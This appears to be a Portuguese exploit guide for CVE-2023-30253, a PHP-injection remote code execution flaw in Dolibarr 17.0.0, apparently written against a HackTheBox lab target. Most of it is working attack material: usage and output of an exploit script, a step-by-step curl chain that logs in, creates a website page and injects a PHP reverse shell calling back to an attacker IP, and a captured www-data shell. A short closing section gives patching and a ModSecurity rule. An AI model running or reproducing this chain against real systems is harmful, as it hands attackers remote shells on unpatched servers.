// Código vulnerável (simplificado) no Dolibarr 17.0.0
if (preg_match('/<\?php/i', $content)) {
    // Bloqueia apenas "<?php" em minúsculas exatas... ou não?
    die("PHP code detected!");
}

┌─────────────────────────────────────────────────────────┐
│                   CVE-2023-30253                       │
│                                                         │
│  1. Login          → Autenticar no Dolibarr             │
│  2. Create Website → Criar um site vazio                │
│  3. Create Page    → Criar uma página no site           │
│  4. Inject Shell   → Injetar PHP reverse shell          │
│  5. Trigger        → Executar o payload                 │
│                                                         │
│  Resultado: 🎯 Shell reversa como www-data              │
└─────────────────────────────────────────────────────────┘

pip install -r requirements.txt

# Clonar o repositório
git clone https://github.com/jeanback1/CVE-2023-30253-exploit.git
cd CVE-2023-30253-exploit

# Instalar dependências
pip install -r requirements.txt

python exploit.py <target> <username> <password> <lhost> <lport> [opções]

nc -lvnp 4444

python exploit.py http://crm.board.htb admin admin 10.10.14.5 4444 --verbose

════════════════════════════════════════════════════════
 CVE-2023-30253 — Dolibarr 17.0.0 RCE Exploit
════════════════════════════════════════════════════════

  Target:   http://crm.board.htb
  User:     admin
  LHOST:    10.10.14.5
  LPORT:    4444
  Site ID:  s3a1f2bc

──────────────────────────────────────────────────

[10:45:12] Passo 1/5: Iniciando sessão...
[10:45:12]   ✓ Sessão iniciada com sucesso

[10:45:13] Passo 2/5: Criando site...
[10:45:13]   ✓ Site 's3a1f2bc' criado

[10:45:13] Passo 3/5: Criando página no site...
[10:45:13]   ✓ Página criada dentro do site

[10:45:14] Passo 4/5: Injetando reverse shell → 10.10.14.5:4444...
[10:45:14]   ✓ Código PHP injetado com sucesso

[10:45:14] Passo 5/5: Executando payload (trigger)...

════════════════════════════════════════════════════════
  EXPLORAÇÃO CONCLUÍDA
════════════════════════════════════════════════════════

  Trigger URL:
  http://crm.board.htb/public/website/index.php?website=s3a1f2bc&pageref=s3a1f2bc

  Instruções:
  1. Em outro terminal, inicie seu listener:
     nc -lvnp 4444
  2. Acesse a Trigger URL (o exploit já fez isso)
  3. Você receberá uma shell reversa como www-data

Listening on 0.0.0.0 4444
Connection received on 10.129.231.37 52846
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Obter cookies e token CSRF
curl -c cookies.txt http://crm.board.htb/ > /dev/null

# Extrair token
TOKEN=$(curl -s -b cookies.txt http://crm.board.htb/ \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

# Login
curl -b cookies.txt -c cookies.txt \
  -X POST "http://crm.board.htb/index.php?mainmenu=home" \
  -d "token=$TOKEN&actionlogin=login&loginfunction=loginfunction&username=admin&password=admin"

TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?action=createsite" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addsite&WEBSITE_REF=meusite&WEBSITE_TITLE=meusite&addcontainer=Create"

TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=meusite" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  -d "token=$TOKEN&action=addcontainer&website=meusite&WEBSITE_TYPE_CONTAINER=page&WEBSITE_TITLE=TEST&addcontainer=Create"

TOKEN=$(curl -s -b cookies.txt \
  "http://crm.board.htb/website/index.php?website=meusite&pageid=1&action=editsource" \
  | grep -oP 'name="anti-csrf-newtoken" content="\K[^"]+')

PHP='<?PHP $s=fsockopen("10.10.14.5",4444);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);?>'

curl -b cookies.txt -X POST \
  "http://crm.board.htb/website/index.php" \
  --data-urlencode "token=$TOKEN" \
  --data-urlencode "action=updatesource" \
  --data-urlencode "website=meusite" \
  --data-urlencode "PAGE_CONTENT=$PHP"

curl "http://crm.board.htb/public/website/index.php?website=meusite&pageref=meusite"

# Atualizar para Dolibarr 17.0.1 ou superior
# O patch corrige o filtro para detectar qualquer variante de <?php

Home → Setup → Modules → Website → Desativar

# Bloquear qualquer variante de tags PHP no campo PAGE_CONTENT
SecRule ARGS:PAGE_CONTENT "@rx <\?php|< \?php|<\?PHP|<\?[pP][hH][pP]" \
  "id:1001,phase:2,deny,status:403,msg:'CVE-2023-30253 PHP Injection blocked'"